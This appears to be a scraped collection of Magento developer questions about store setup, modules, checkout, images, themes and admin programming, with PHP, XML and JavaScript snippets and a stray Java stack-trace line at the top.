at java.base/java.lang.ProcessBuilder.start(ProcessBuilder.java:1107)


texts:
I want to use magento connect to install a plugin. I am receiving a 404 page when i try to open it.

I tried to

1] delete the files from var/cache

2] check if the following values on database are correct according to those instructions:

UPDATE `core_store` SET store_id = 0 WHERE code='admin';
UPDATE `core_store_group` SET group_id = 0 WHERE name='Default';
UPDATE `core_website` SET website_id = 0 WHERE code='admin';
UPDATE `customer_group` SET customer_group_id = 0 WHERE customer_group_code='NOT

I appreciate any help regarding this.


texts:
When I check my Magento store with Page-speed I am always recommended with Optimize Images, when I open the list of images to be optimized all those images are the small images of the products.
Is there any solution where I can optimize small images of my products?


texts: Can you rename product image filename via Rest Api?

texts:
I'm trying to rename product image via rest API.

So far I got the error

  Cannot save product

on PUT /V1/products/{sku}/media/{entryId}

Here is roughly the last thing i tried

{
  "entry": {
    "id":id,
    "media_type": "image",
    "file": "wutever-image",
    "content": {
        "name": "wutever-image"
    }
    }
 }

If I eliminate the "file" key, there is no error but nothing changed in the product itself


texts:
I am editting the magento installation that another developer set up (Badly).

I have notice in the local code pool, the Mage directory with catalog/list.php

I assume this is to override magento's core mage/catalog.

It seems quick and easy but is this best practice? Are there any possible drawbacks? It seems kind of dirty.


texts: quick view popup not working in ipad/iphone?

texts:
I create quick view for my site but its shows below error in ipad/iphone

magento XMLHttpRequest cannot load . No 'Access-Control-Allow-Origin' header is present on the requested resource.  is therefore not allowed access.

i use
                       <a href="#" data-fancybox-type="ajax" onclick="QuickView('<?php echo Mage::getUrl('index/view/id/'.$_product->getId());?>');return false;" title="<?php echo $this->__('Quick View') ?>" class="button detail-bnt"><?php echo $this->__('Quick View') ?>


texts:
I had created the form with some fields and when I click on the submit button it should send the email.So,I had created the phtml file sending mails but i am not getting any mails by clicking on the button.

Under CMS page I had created the new page to redirect the page.

Please help me.


texts: Check action noRoute (404) on Every page using Observer not working Magento 2

texts:
How to check action noRoute (404) on every page using Observer?

etc/events.xml

<?xml version="1.0"?>

<config xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
        xsi:noNamespaceSchemaLocation="urn:magento:framework:Event/etc/events.xsd">
  <event name="controller_action_predispatch">
      <observer name="my_observer" instance="Module\Path\To\MyClass" shared="false" />
  </event>
</config>

created observer class.

<?php

namespace Module\Namespace\Path;

use Magento\Framework\Event\ObserverInterface;

class MyClass implements ObserverInterface
{
    public function execute(\Magento\Framework\Event\Observer $observer)
   {
       $request = $observer->getEvent()->getControllerAction()->getRequest();
        $actionName = $request->getActionName();
       echo $actionName; // 404 page not gettig "noRoute"
   }

}


texts:
I'm experiencing a strange behaviour: all the product images are present if I edit a product on the backend. But if I visit the product list in the backend or frontend, or the product view in frontend, I see no images.
Any ideas on how to resolve the problem?

Magento version: 2.3.4

Running on Nginx

Permissions on files correctly set

Thanks in advance


texts: Magento2: Is it safe to run command for enable cache on production mode?

texts:
Is it safe to run commands for enable cache on production mode?
As we don't have option to enable cache in admin.

Any suggestions

Thanks


texts: Create Product Programatically with same Product name

texts:
We are displaying "Create product" link in product view page , once we click on link, we are creating product in backend.

addtocart.phtml

<button>
<a href="<?php echo Mage::getUrl("example/amasty/createSimpleProductAndRedirect"); ?>">Create product
</button>

createSimpleProductAndRedirectAction()

public function createSimpleProductAndRedirectAction()
    {
          if($product = $this->_createProduct(Mage_Catalog_Model_Product_Type::TYPE_SIMPLE))
            {
              $this->_redirect("catalog/product/view/id/".$product->getId());
            }
    }

when i used ->setName($rand) , product names are generating as random numbers. but instead of random numbers, we want to create new product with same product name that is present on product view page.

example : If link is present in product page with product name Custom Apple IPhone 4 , once we click on "create product link", it should create product with name "Custom Apple IPhone 4"

I am trying this : ->setName($product->getName()) to get same product names as in below code : app/code/local/Amasty/Example/controllers/AmastyController.php , but its not working.

class Amasty_Example_AmastyController extends Mage_Core_Controller_Front_Action
{

protected function _createProduct($type, $doSave=true)
    {
        // required for some versions
        Mage::app()->setCurrentStore(Mage_Core_Model_App::ADMIN_STORE_ID);

        $product = Mage::getModel('catalog/product');

        // set madatory system attributes
        $rand = rand(1, 9999);

        // finally set custom data
        $product
            ->setName($product->getName()) // add string attribute
            ->setShortDescription('description') // add text attribute
        ;

        if ($doSave)
            $product->save();

        return $product;
    }
}

full code : http://pastebin.com/i6bQFeLa


texts:
The website constantly give 502 error whenever tries to edit any product or upload a product

error: Lock tables although only a single query is running

Next error:

When i check Nginx access logs & opens a page from backend most of the time I see session/unlogin request there & actual request never logging in & web page throws a 502 error.

Server Details :

Google kubernestes engine (load balancer ingress)
Nginx
PHP FPM
Mysql (google cloud sql)


texts: How to show success or error message block at the top of the page

texts: I need show success or error messages block at the top of the page before the header block. As of now it appears between the breadcrumbs and main block.


texts:
I am using one page checkout method.When I place order externally it throws me a

Fatal error: Uncaught exception 'Mage_Core_Exception' with message
'The requested Payment Method is not available.' in C:\xampp\htdocs\restaurant\app\Mage.php:595
Stack trace:
#0 C:\xampp\htdocs\restaurant\app\code\core\Mage\Sales\Model\Quote\Payment.php(153):  Mage::throwException('The requested P...')
#1 C:\xampp\htdocs\restaurant\app\code\core\Mage\Checkout\Model\Type\Onepage.php(631): Mage_Sales_Model_Quote_Payment->importData(Array)
#2 C:\xampp\htdocs\restaurant\placeorder.php(22): Mage_Checkout_Model_Type_Onepage->savePayment(Array)
#3 {main} thrown in C:\xampp\htdocs\restaurant\app\Mage.php on line 595`

I also enabled the payment methods at admin.

My code is,

<?php
require_once 'app/Mage.php';

Mage::app();

$storeId = Mage::app()->getStore()->getId();

$checkout = Mage::getSingleton('checkout/type_onepage');

$checkout->initCheckout();

$checkout->saveCheckoutMethod('register');

$checkout->saveShippingMethod('flatrate_flatrate');

$checkout->savePayment(array('method'=>'cashondelivery'));

try {
    $checkout->saveOrder();
}
catch (Exception $ex) {
    echo $ex->getMessage();
}

$cart->truncate();
$cart->save();
$cart->getItems()->clear()->save();

Mage::getSingleton('customer/session')->logout();
?>

I have seen some of discussion regarding the issue..but its not working..
I hope someone will help on this issue...


texts: Magento 2 - add link with content to top menu

texts:
I am wondering how to add programmatically a new link (to main top menu in header) with submenu (custom content visible on hover - styles is not a problem).

How to achieve that, via xml or via (php) plugin?

More descriptive image below:


texts:
I am running Magento 2.1.4 and I have followed the steps located here: https://magento.stackexchange.com/questions/94855/create-multi-website-stores-in-magento-2

But when I try to go to the url of my second store I am getting this error...

Fatal error: require(): Failed opening required '/home/myuser/public_html/mainstore/secondstore/app/bootstrap.php' (include_path='.:/usr/local/php56/pear') in /home/myuser/public_html/mainstore/secondstore/index.php on line 22

It looks like it is not finding /home/myuser/public_html/mainstore/secondstore/app/bootstrap.php but I have created the symlink to the 'app' folder

Any help or pointers would be appreciated please
Thanks


texts:
Can someone explain to me how I can make the search bar to be consistently there and the magnifying icon does not need to be clicked to make it appear in mobile view?

My theme is based on Luma, Magento version 2.2.3

What is currently there (you need to click the search icon to make the search bar appear):

What I want:

Then I will just code it so the bar scales depending on the viewport.


texts: Product Image Not Showing in detail page

texts:
I used Ubertheme migration tool to migration of data from Magento 1 to magento2.
Migration is done successfully, but after that, I face one issue.

Product Image shows in category list page on frontside and product grid in admin side.
When I open product detail page in front and admin side, I am not able to see product image.

Can anyone tell me what should I do?


texts: Customer_Register_Success Event Not working

texts:
I would like to create a promocode for customer successful registration. so i have used customer_register_success to observe the registration success event.

app/code/local/Promocustomer/Promogeneration/etc/config.xml,

<?xml version="1.0" encoding="UTF-8"?>
<config>
    <modules>
        <Promocustomer_Promogeneration>
            <version>0.0.1</version>
        </Promocustomer_Promogeneration>
    </modules>
    <global>
        <models>
            <Promocustomer_Promogeneration>
                <class>Promocustomer_Promogeneration_Model</class>
            </Promocustomer_Promogeneration>
        </models>
        <events>
            <customer_register_success>
                <observers>
                    <Promocustomer_promogeneration_model_observer>
                        <type>singleton</type>
                        <class>Promocustomer_Promogeneration_Model_Observer</class>
                        <method>promocode</method>
                    </Promocustomer_promogeneration_model_observer>
                </observers>
            </customer_register_success>
        </events>
    </global>
</config>

app/code/local/Promocustomer/Promogeneration/Model/Observer.php,

<?php
/**
* Auto  Promo Code Generator
*/
class Promocustomer_Promogeneration_Model_Observer {

    public function promocode($observer){
        $event = $observer->getEvent();
        $customer = $event->getCustomer();
        $email = $customer->getEmail();
        if($email){
            $message= "Successfully Registered";
        }else{
            $message= "Error In Register";
        }
        echo $message;
        exit();
        //Mage::log(var_export($message,TRUE),null,'promo.log');
    }
}
?>

My question is, why the event is not working? and when the event will trigger?
Can someone give me the solution for this questions.

Thanks!


texts: How to add shipping rate according to weight?

texts:
Actually i trying to add shipping charges according to weight.i didn't use any code i did it through admin->sales->shipping method->table rate->import csv.but i facing problem bcoz its not taken shipping according to weight.it calculate to quantity of the product into cart.so what should i do for this?
I attach screenshots here.

i set weight as a numeric value 5kg to 5 and make shipping charge 100.but its not working.
i did'nt add currency code in shipping rate
it showing in frontend.actually shipping charges not taken according to weight it take shipping charge per item added in the cart while i select weight vs destination and export csv.but still its not working.


texts: Errors in file "magento_sample_data_for_1.9.1.0.sql"

texts:
In table 'eav_attribute'.'attribute_id' = 121 and 164 are missing.
Since many related tables have reference to them, I cannot import all the related data.

MySQL error #1452 - Cannot add or update a child row: a foreign key constraint fails
 (`DB`.`catalog_product_entity_int`, CONSTRAINT `FK_CAT_PRD_ENTT_INT_ATTR_ID_EAV_ATTR_ATTR_ID`
 FOREIGN KEY (`attribute_id`) REFERENCES `eav_attribute` (`attribute_id`)
 ON DELETE CASCADE)

Could anyone just tell me what data to put into 'eav_attribute'.'attribute_id' = 121 and 164?

(It has a few more bugs, but I managed to fix them)


texts: I want to make this magento site responsive or mobile friendly

texts:
Please I would like to make this site (http://mushkaperfumes.com/) mobile responsive. When you check using your mobile phone, it doesn't look good. Please who have done this before to help me solve this issue.
Thank so much..


texts: Magento 2 attribute search product results

texts: I have a multi-select attribute with n number of options. I have assigned some options for the products. For example, I have an attribute color and have options like blue, red, green, and yellow assigned these options to products. I need these products in search results if someone searches for a color like yellow or green.


texts: Display products in HOT DEAL section of Home Page of Fastest Theme in Magento 1

texts:
I am using Fastest Theme. In Home Page I have to display products in Hot Deal section.

I got a Static Block in Admin panel.

I got below code in This Hot Deal Static Block.

Hot deal

{{widget type="filterproducts/codazonfilterproducts" categories="111" filtertype="5" orderby="name" order="asc" limit="8" thumb_width="220" thumb_height="220" use_ajax="1" custom_template="codazon_filterproducts/home_grid_style17.phtml" display="name,image,label,price,rating,description,addtocart_btn,wishlist_btn,compare_btn" use_slider="1" margin="-1" items_1280="1" items_1024="1" items_768="1" items_480="2" items_320="2" items_0="2" show_nav="1" cache_lifetime="1"}}

I set Yes in Hot options of product.

But I can't see products in HOT DEAL section of Home Page.


texts: Seo benefit of multi store using subdirectories

texts: Instead of using multi store for multiple languages, my thought is to use it for SEO. create multiple stores using sub-directories... i.e. [site].com/uk/ and then using the webmaster tools geotargeting tool accordingly. Any thoughts about how this would, or would not, work?


texts: I am adding categoty and its subcategory using catalog->category. Adding Category But Not visible in frontend. When I was inspect in browser it will be visible but not display in dropdown section.


texts: Magento 2 how to pass order id's from sales order grid to my module controller

texts:
I am working on a custom module. I need order data in my own controller. I want users to use the checkboxes to select orders so i can use the order id's/data in my controller. How do I do this?

What I have done so far:

Make module
Add massaction with custom url to the sales order grid
Setup routing for my custom url
Created controller so my custom url works

I don't know how I can get the selected order id's in my controller. I asked this: Magento 2: How to get Post data in backend/adminhtml? But the POST Data doesn't contain the order id's.

How can I proceed? What is the next step? And how do I achieve that?


texts: Magento2 - How to catch error when id doesn't exist loading product with '\Magento\Catalog\Model\Product'

texts:
I am adding a product to the cart using \Magento\Catalog\Model\Product and works fine if the product id exist.

public function __construct(
        ...
        \Magento\Catalog\Model\Product $product,
        ...
)
{
        ...
        $this->_product = $product;
        ...
}
    try{
        $product = $this->_product->load($productID);
    }catch (\Magento\Framework\Exception\LocalizedException $e) {
        $response = $this->resultJsonFactory->create();
        $response->setData(['message' => 'Subscription id not founded']);
        $response->setHttpResponseCode(406);
        return $response;
    }

but I get an exemption when the id don't exist:

1 exception(s):
Exception #0 (Magento\Framework\Exception\LocalizedException): The product wasn't found. Verify the product and try again.

Exception #0 (Magento\Framework\Exception\LocalizedException): The product wasn't found. Verify the product and try again.
<pre>#1 Magento\Checkout\Model\Cart->addProduct(&Magento\Catalog\Model\Product\Interceptor#000000001b3988ae0000000074f86046#, array('product' => 1, 'qty' => 1)) called at [vendor/magento/framework/Interception/Interceptor.php:58]
#2 Magento\Checkout\Model\Cart\Interceptor->___callParent('addProduct', array(&Magento\Catalog\Model\Product\Interceptor#000000001b3988ae0000000074f86046#, array('product' => 1, 'qty' => 1))) called at [vendor/magento/framework/Interception/Interceptor.php:138]

How can I avoid the code to brake. I tried try and catch or if(this->_product->load($productID);)) But nothing working.

Thanks


texts: how does magento generate the content of store link (block name=store.links )in the mobile view

texts:
in file /vendor/magento/theme-frontend-blank/Magento_Theme/layout/default.xml, there is a block name store.links nested inside navigation.sections, which is used for the mobile view to show those account links. Can any one tell me how does those links are generated?

I have this question because I wrapped the header.links (account links) into my new block and move it from its original place of header.panel into header-wrapper (the one container the logo and search box originally). After changes, i noticed those links which should show under the navigation.sections ( tab name = Account), are not more showing. Any idea or direction i have to look in? thanks in advance.


texts: Magento 2: Add product page links to header / dropdown

texts: I only have six products in my store and want to add their product page links to the main header, instead of the category page. Is it possible?


texts: Sorting only subcategories second level alphabetical order

texts:
i am aboslut new to programming with magento. I have a cms page where i want only the second level of one topcategory shown in alphabetical order.

Here is my code:

<?php
$parentCategoryId = 125;
$cat = Mage::getModel('catalog/category')->load($parentCategoryId);
$subcats = $cat->getChildren();

?>

<?php

foreach(explode(',',$subcats) as $subCatid)
{
  $_category = Mage::getModel('catalog/category')->load($subCatid);
  if($_category->getIsActive()) {
    echo '
';
    //echo 'getURL().'" title="View the products for the "'.$_category->getName().'" category">'.$_category->getName().'';
    $sub_cat = Mage::getModel('catalog/category')->load($_category->getId());
    $sub_subcats = $sub_cat->getChildren();

    foreach(explode(',',$sub_subcats) as $sub_subCatid)
    {
          $_sub_category = Mage::getModel('catalog/category')->load($sub_subCatid);
          $_categories[$_sub_category->getName()] = $sub_subCatid;
          ksort($_categories);
          echo $_categories[$_sub_category->getName()];
          **if($_sub_category->getIsActive()) {
              echo '
getURL().'" title="View the products for the "'.$_sub_category->getName().'" category">'.$_sub_category->getName().'
';
           }**

     }
     echo '
';

  }
}
?>

How can i sort the it?


texts: Deleted due to commercial reasons. Apologies


texts: Obtain value from attribute frontend property

texts:
We would like to use the values from the Magento attribute frontend properties 'Use in Quick Search' and 'Use in Advanced Search'.

We have changed the properties translations to 'Show for wholesale user' and 'Show for distributor user'. We aim to show/hide some attributes based on customer group without to make extra store views and have to clear attribute values per product and per store view.

So, in the Catalog/Block/Product/View/Additional.php file we want to obtain the values of the frontend properties so we can show/hide based on customer group.

I hope it's clear enough.

Thanks,

Michael


texts: Magento 2 - Setting "Text Swatch" or "Visual Swatch" does not work. Attribute still shows as dropdown on frontend

texts:
I am trying to create basic text swatches for an attribute (instead of dropdowns). I created an attribute (for example, "size"), set the "Catalog Input Type for Store Owner" to "Text Swatch" and entered all the swatch values. I then created a configurable product with this attribute but the frontend is still showing the options in a dropdown and not in text swatches.

I have tried changing the attribute to "visual swatch" and it still shows as a dropdown.

I have reindexed and flushed the cache but it the attribute choices still show as a dropdown.

Interestingly, the text swatches are showing up in the category page but the product page is still showing the dropdown (see images below).

I am using Magento 2.2.3 and I am not running any extensions and the code has not been changed. It is almost a fresh install.

How can I get the text swatches to show up instead of a dropdown?

Please help


texts: Trying to add XSRF validation to contact form

texts:
I am trying to block a recent "Contact Us" form spammer.  I figured the best way to do this is by adding a form key and validating it in the controller.

This works when I modify core files, which is obviously not what the end solution should be,

I have read several questions and tutorials on overriding a controller, and I have tried them with no luck, the core controller always gets used, and the validation never happens.  What am I doing wrong? (note: I have not created a module in Magento as of yet, this is my first)

Here's what I have:

New file: app/code/local/ACS/Contacts/controllers/IndexController.php

This is a copy of the core file app/code/core/Mage/Contacts/controllers/IndexController.php with the addition of

if (!$this->_validateFormKey()) {
    $error = true;
}

in the try block of the postAction() function.

2nd New File:  app/code/local/ACS/Contacts/etc/config.xml

Which looks like this:

<?xml version="1.0"?>
<config>
  <modules>
    <acs_contacts>
      <vesion>0.1.0</version>
    </acs_contacts>
  </modules>
  <frontend>
    <routers>
      <contacts>
        <args>
          <modules>
            <contacts before="Mage_Contacts">ACS_Contacts</contacts>
          </modules>
        </args>
      </contacts>
    </routers>
  </frontend>
</config>

And finally, last new file app/etc/modules/ACS_Contacts.xml:

<?xml version="1.0"?>
<config>
  <modules>
    <ACS_Contacts>
      <active>true</active>
      <codePool>local</codePool>
   </ACS_Contacts>
 </modules>
</config>

And of course I have added the form_key to app/design/frontend/theme/template/contacts/form.phtml


texts: Magento 2 programatically get special price product collection

texts: How can i programatically get special price product collection?


texts:
I just want to use the default Magento 2 Luma theme as a base theme to develop.

But does this theme has some kind of a grid layout.
So that I can easily add 3 blocks of 33% width beside each other.

So some kind of css like grid-3, grid-6 or grid-12? Or something like Twitter Bootstrap.


texts: Where is the newsletter 'general subscription' field stored in the database

texts: I'm working on a customer database export, but can't find where the 'general subscription' newsletter subscription field is stored in the database.  I imagine it is some EAV value, but in what table and with what attribute_id?


texts: Issue after log in on Admin - Magento 1.9

texts:
After log in Magento Admin.

If I check this Totals.php line, this is what it contains >

class Mage_Adminhtml_Block_Dashboard_Totals extends Mage_Adminhtml_Block_Dashboard_Bar
{
protected function _construct()
{
    parent::_construct();
    $this->setTemplate('dashboard/totalbar.phtml');
}

protected function _prepareLayout()
{
    if (!Mage::helper('core')->isModuleEnabled('Mage_Reports')) {
        return $this;
    }
    $isFilter = $this->getRequest()->getParam('store') || $this->getRequest()->getParam('website') || $this->getRequest()->getParam('group');
    $period = $this->getRequest()->getParam('period', '24h');

    /* @var $collection Mage_Reports_Model_Mysql4_Order_Collection */
    $collection = Mage::getResourceModel('reports/order_collection')
        ->addCreateAtPeriodFilter($period)
        ->calculateTotals($isFilter);

    if ($this->getRequest()->getParam('store')) {
        $collection->addFieldToFilter('store_id', $this->getRequest()->getParam('store'));
    } else if ($this->getRequest()->getParam('website')){
        $storeIds = Mage::app()->getWebsite($this->getRequest()->getParam('website'))->getStoreIds();
        $collection->addFieldToFilter('store_id', array('in' => $storeIds));
    } else if ($this->getRequest()->getParam('group')){
        $storeIds = Mage::app()->getGroup($this->getRequest()->getParam('group'))->getStoreIds();
        $collection->addFieldToFilter('store_id', array('in' => $storeIds));
    } elseif (!$collection->isLive()) {
        $collection->addFieldToFilter('store_id',
            array('eq' => Mage::app()->getStore(Mage_Core_Model_Store::ADMIN_CODE)->getId())
        );
    }

    $collection->load();

    $totals = $collection->getFirstItem();

    $this->addTotal($this->__('Revenue'), $totals->getRevenue());
    $this->addTotal($this->__('Tax'), $totals->getTax());
    $this->addTotal($this->__('Shipping'), $totals->getShipping());
    $this->addTotal($this->__('Quantity'), $totals->getQuantity()*1, true);
}
}

This is the line with issues >
 ->addCreateAtPeriodFilter($period)

Any clue?


texts: Magento 2: How to add additional fields to newsletter subscriber table?

texts:
I would like to add some additional fields to the newsletter table. How do I go about rewriting the Newsletter subscriber table to add those fields?

I am expecting to add things like firstname, last name etc.


texts: Magento 2 : Display Loader While Ajax call in custom Knockout js

texts:
I am using this extension which adds extra fee to quote after select a particular payment. After selecting any payment option it is making an ajax call, I want to show loader until the ajax request is completed. below is my js file
define(
    [
        'ko',
        'jquery',
        'Magento_Checkout/js/model/quote',
        'Magento_Checkout/js/model/resource-url-manager',
        'Magento_Checkout/js/model/payment-service',
        'mage/storage',
        'mage/url',
        'Magento_Checkout/js/action/get-totals',
        'mage/translate',
        'Magento_Checkout/js/model/payment/method-list'
    ],
    function(
        ko,
        $,
        quote,
        urlManager,
        paymentService,
        storage,
        urlBuilder,
        getTotalsAction
    ) {
        'use strict';

        return function (isLoading, payment) {
            var serviceUrl = urlBuilder.build('paymentfee/checkout/totals');
            return storage.post(
                serviceUrl,
                JSON.stringify({payment: payment})
            ).done(
                function(response) {
                    if(response) {
                        var deferred = $.Deferred();
                        isLoading(false);
                        getTotalsAction([], deferred);
                    }
                }
            ).fail(
                function (response) {
                    isLoading(false);
                    //var error = JSON.parse(response.responseText);
                }
            );
        }
    }
);

I tried injecting 'Magento_Checkout/js/model/full-screen-loader' class and then use fullScreenLoader.startLoader(); but it is not working.
Can anyone suggest me how to show loader image on checkout page
?


texts: Magento Go, referencing a JS file attached to a theme in a CMS static block?

texts:
If I want to reference a JS file in a CMS block and the js file has been attached to the theme, how is it done? The CMS block has the script:

<script>
Galleria.loadTheme('galleria/themes/classic/galleria.classic.min.js');
Galleria.run('#galleria');
</script>

I don't have the functionality to see where the JS are stored once they are loaded into the JS editor and library section of Magento Go.

I would omit the section but it needs to be there, so should look like:

<script>
Galleria.loadTheme('JS file attached to the theme');
Galleria.run('#galleria');
</script>

Can someone enlighten me as to the location of the JS files and how to add it?


texts: Magento2 : Display two table column values in single UI grid column

texts:
I am working on admin custom module. My module table join with customer table.

Now I want to display User Name (customer firstname and lastname) values in single column in my custom module UI grid.

How can it will be done? Any one have idea?

Thanks


texts: Add a product to a customer cart programatically magento 2

texts:
I just have the simple requirement. I just need to add the product to a customer cart programatically in magento 2.

If i had to do it in magento 1.x, I would:

Load the product with particular id or sku
Load the customer from customer model using customer id.
Load the checkout session for the customer and add the product to the cart model.(Not sure how exactly it would work but it would be something like that).

But I'm not sure how to achieve this on Magento 2.

If someone could suggest the flow and add the code snippet that that would be very helpful.

Any help would be well appreciated.

Thanks,

aton


texts: Creating a custom Popular Category Grid using foreach

texts:
I am working on a custom category grid on CMS home page, and unable to get it in form.
I have done trying using loopbreak with custom width and height, but didn't get any success or i don't know about its usages.

After trying loopbreak i thought of doing this with bootstrap can help me out but my bad luck or lack of knowledge, i cant get it in form through foreach.

If there is any other way to get it done, any help will be appreciated.

here is the image for an idea.

i m using magento 1.9.2.3 with php 5.2.0, thanks in advance for help.

Lalit


texts: Disable magento2 module per website that extends a controller

texts: After extending a controller in magento2 via a module, I realized that disabling it on a per website basis wouldn't be possible using the module disable method in the backend. Any advice on how to achieve this when a module extends a controller?


texts:
Consider the example code found in my own block file:

public function getImages()
{
    $images = array();

    $products = Mage::getModel('catalog/product')
        ->getCollection()
        ->addAttributeToSelect('*')
        ->addAttributeToFilter(
            'status',
            array('eq' => Mage_Catalog_Model_Product_Status::STATUS_ENABLED)
            );
    $products->getSelect()->order('rand()');
    $products->getSelect()->limit(3);

    foreach ($products as $product) {
        $imageUrl = $product->getImageUrl();
        $image['imageUrl'] = $imageUrl;
        $image['title'] = $product->getName();
        $images[] = $image;
    }
    return $images;
}

In my template file, I have some expected corresponding code:

    <?php foreach ($this->getImages() as $image): ?>
        <img src="<?php echo $image['imageUrl'] ?>" title="<?php echo $image['title'] ?>">
    <?php endforeach ?>

This completely works as expected. Three random products are chosen and an image is displayed for each (with the product name as title):

Product 1 - Image1 - Title1
Product 2 - Image2 - Title2
Product 3 - Image3 - Title3

When I attempt to call the image resize helper, however, things get weird. Focus on the foreach ($products as $product) section from the working piece of code above, and see the difference below:

    foreach ($products as $product) {
        // Use the resizer instead of directly calling $product->getImageUrl()
        $imageUrl = $this->helper('catalog/image')->init($product, 'image')->resize(200)->keepFrame(false);
        $image['imageUrl'] = $imageUrl;
        $image['title'] = $product->getName();
        $images[] = $image;
    }

I would expect this to work properly, but instead each product is using the image for the last product listed, but the title remains correct:

Product 1 - Image3 - Title1
Product 2 - Image3 - Title2
Product 3 - Image3 - Title3

It's clear that $image['imageUrl'] is getting assigned correctly in each iteration of the loop, because echo $image['imageUrl'] inside the loop displays the correct URL. Ultimately $image['imageUrl'] is getting reassigned for all iterations to the final value. But why does this occur when using the helper and it doesn't when calling the attribute value directly?


texts: Disable "View All" in RWD navigation menu

texts: How do I disable "View All _" in the dropdown menu of the RWD theme in v1.9x?


texts: Module CSS And JS not available in static files

texts:
Having trouble getting past 404 errors with css and js.

/Vendor/Module/view/frontend/layout/routeid_index_index.xml

<?xml version="1.0" ?>
<page layout="1column" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="urn:magento:framework:View/Layout/etc/page_configuration.xsd">
    <head>
        <css src="Vendor_Module::css/custom.css" />
        <script src="Vendor_Module::js/custom.js"/>
    </head>
    <body>
        <referenceContainer name="content">
            <block class="Vendor\Module\Block\Display" name="Display" template="Vendor_Module::index.phtml" />
        </referenceContainer>
    </body>
</page>

Files are located here

/Vendor/Module/etc/frontend/web/css/custom.css
/Vendor/Module/etc/frontend/web/js/custom.js

static deploy doesn't seem to do the trick nor does manually clearing the cache


texts: Create order data json file in root after checkout is completed

texts: I want a json file of order data to be created in root directory after the checkout is completed. I have been searching this for hours now but still luck.


texts: "Restriction is applied to your order...", when Coupon applied

texts:
On my Magento 2.2.7 instance, when a coupon is applied in the checkout, the error message "Restriction is applied to your order. Please review shipping details on Shipping step." is displayed for 5 secs and then disappears. It doesn't stop the order being placed.

What does this error mean and how do I stop it being displayed?

Cheers
Rob


texts: magento 2 getting product data from wishlist

texts:
Coming in to trouble while getting correct data from my wishlist:

/**
    @var \Magento\Wishlist\Model\Wishlist $_wishlist
    @var \Magento\Customer\Model\Session $_customerSession
*/
$wishlistCollection = $this->_wishlist->loadByCustomerId($this->_customerSession->getCustomerId(), true)->getItemCollection();
foreach($wishlistCollection as $wishedItem){
    /** @var \Magento\Catalog\Model\Product $_product; */
    $product = $this->_product->setStoreId($wishedItem->getStoreId())->load($wishedItem->getProductId);
    /** @var \Magento\Review\Model\Rating $_rating; */
    $rating = $this->_rating->getEntitySummary($wishedItem->getProductId(), true);
    $ratingValue = NULL;
    if($rating->getSum() && $rating->getCount()) $ratingValue = $rating->getSum()/$rating->getCount();

    echo $product->getName();
    echo $product->getSku();
    echo $product->getProductUrl();
    echo $ratingValue;
}

product 1 was clone of the original product. Product 1 has rating while original has no reviews.Review to product 1 was added after dublicating.

while in the loop product name and sku are different, but url and rating values are the same, so not sure what is wrong here.


texts:
I want to override core js in custom module.

    define([
        'quickSearch',
        'jquery',
        'underscore',
        'mage/template',
        'mage/translate',
        'jquery/ui'
    ], function (quickSearch, $, _, mageTemplate, $translate) {
        'use strict';

        var autoComplete = {
            ajaxRequest: null,
            url: null,
            timer: null,
            delay: 500,
            currentUrlEncoded: null,
            minSizePopup: 700,
            siz

ePopupBreakpoint: 550,
        mobileView: 768,
        windowWidth: $(window).width(),
        proportionSide: 0.33,

        init: function (url, layout, currentUrlEncoded) {
            this.url = url;
            this.layout = layout;
            this.currentUrlEncoded = currentUrlEncoded;
            this.extend();
        },

        extend: function () {
            var _caller = this;
            var methods = {
                options: {
                    responseFieldElements: '.search-item',
                    minChars: this.layout.minChars
                },
                _onPropertyChange: function () {
                    if (_caller.timer != null) {
                        clearTimeout(_caller.timer);
                    }
                    _caller.timer = setTimeout(function () {
                        _caller._onPropertyChange.call(this);
                    }.bind(this), _caller.delay);
                },

                _create: this._create,
                _searchDifineHideOrClear: this.difineHideOrClear,
            };
            $.extend(true, quickSearch.prototype, methods);
        },

        _create: function () {
            this._searchDifineHideOrClear();
        },
        difineHideOrClear: function () {
            var self = this;

            $('body').on('click', function (e) {
                var target = $(e.target);

                if (target.hasClass('search-close')) {
                    self._searchClearField();
                }

                if (!target.closest('.search-form-container').length) {
                    self._searchHidePopup();
                }
            });
        },

    };

    return autoComplete;
});

  Mixin Js :-

config: {
        mixins: {
            'XXX_YYY/js/autocomplete': {
                'AAA_ZZZ/js/autocomplete': true
            }
        }
    }

Js file

define([
    'quickSearch',
    'jquery',
    'underscore',
    'mage/template',
    'mage/translate',
    'jquery/ui'
], function (quickSearch, $, _, mageTemplate, $translate) {
    'use strict';

    var mixin = {
        difineHideOrClear: function () {
            var self = this;

            //clear field
            $('.search-close').on('click', function (e) {
                self._searchClearField();
            });

            $('body').on('click', function (e) {
                var target = $(e.target);

                if (target.hasClass('search-close')) {
                    self._searchClearField();
                }

                if (!target.closest('.search-form-container').length) {
                    self._searchHidePopup();
                }
            });
        }
    };
    return function (target) {
        return target.extend(mixin);

      };
    });


texts: Change select Name Suffix to input in shipping address: Magento 2

texts: How to change select Name Suffix to input in shipping address Magento 2? I want to change it, but I don't know where I can find it.


texts: angular.js:533 TypeError: Cannot read property 'modules' of undefined at Object.$state.loadModules Magento 2.3.4 p2

texts:
I am facing below an error in browser console log while installing magento 2.3.4 p2 version
in localhost. PHP version is 7.1.10. Please check below error and attached screenshot below.

angular.js:533 TypeError: Cannot read property 'modules' of undefined
        at Object.$state.loadModules (customize-your-store.js:79)
        at m.$scope.checkModuleConstraints (customize-your-store.js:46)
        at fn (eval at compile (angular.js:19141), <anonymous>:4:186)
        at e (angular.js:19141)
        at m.$eval (angular.js:8794)
        at m.$apply (angular.js:8811)
        at HTMLButtonElement.<anonymous> (angular.js:19141)
        at jg (angular.js:4598)
        at HTMLButtonElement.d (angular.js:4512)

If any idea, please guide me. Thanks in Advance !!.


texts:
Is possible to login as an admin user by username or id?

Something like this:

//controller
public function execute() {
  $user = get_user();
  login_as_admin($user);
}

Example:

$user = $this->_objectManager->get('Magento\User\Model\User')->loadByUsername($username);

$session = $this->_objectManager->get('Magento\Backend\Model\Auth\Session');
$session->setUser($user);
$session->processLogin();

This returns true, but i am redirected back to the login page

$session->isLoggedIn(); // returns true


texts: How can I regenerate URL Rewrites in Magento 2 Store

texts:
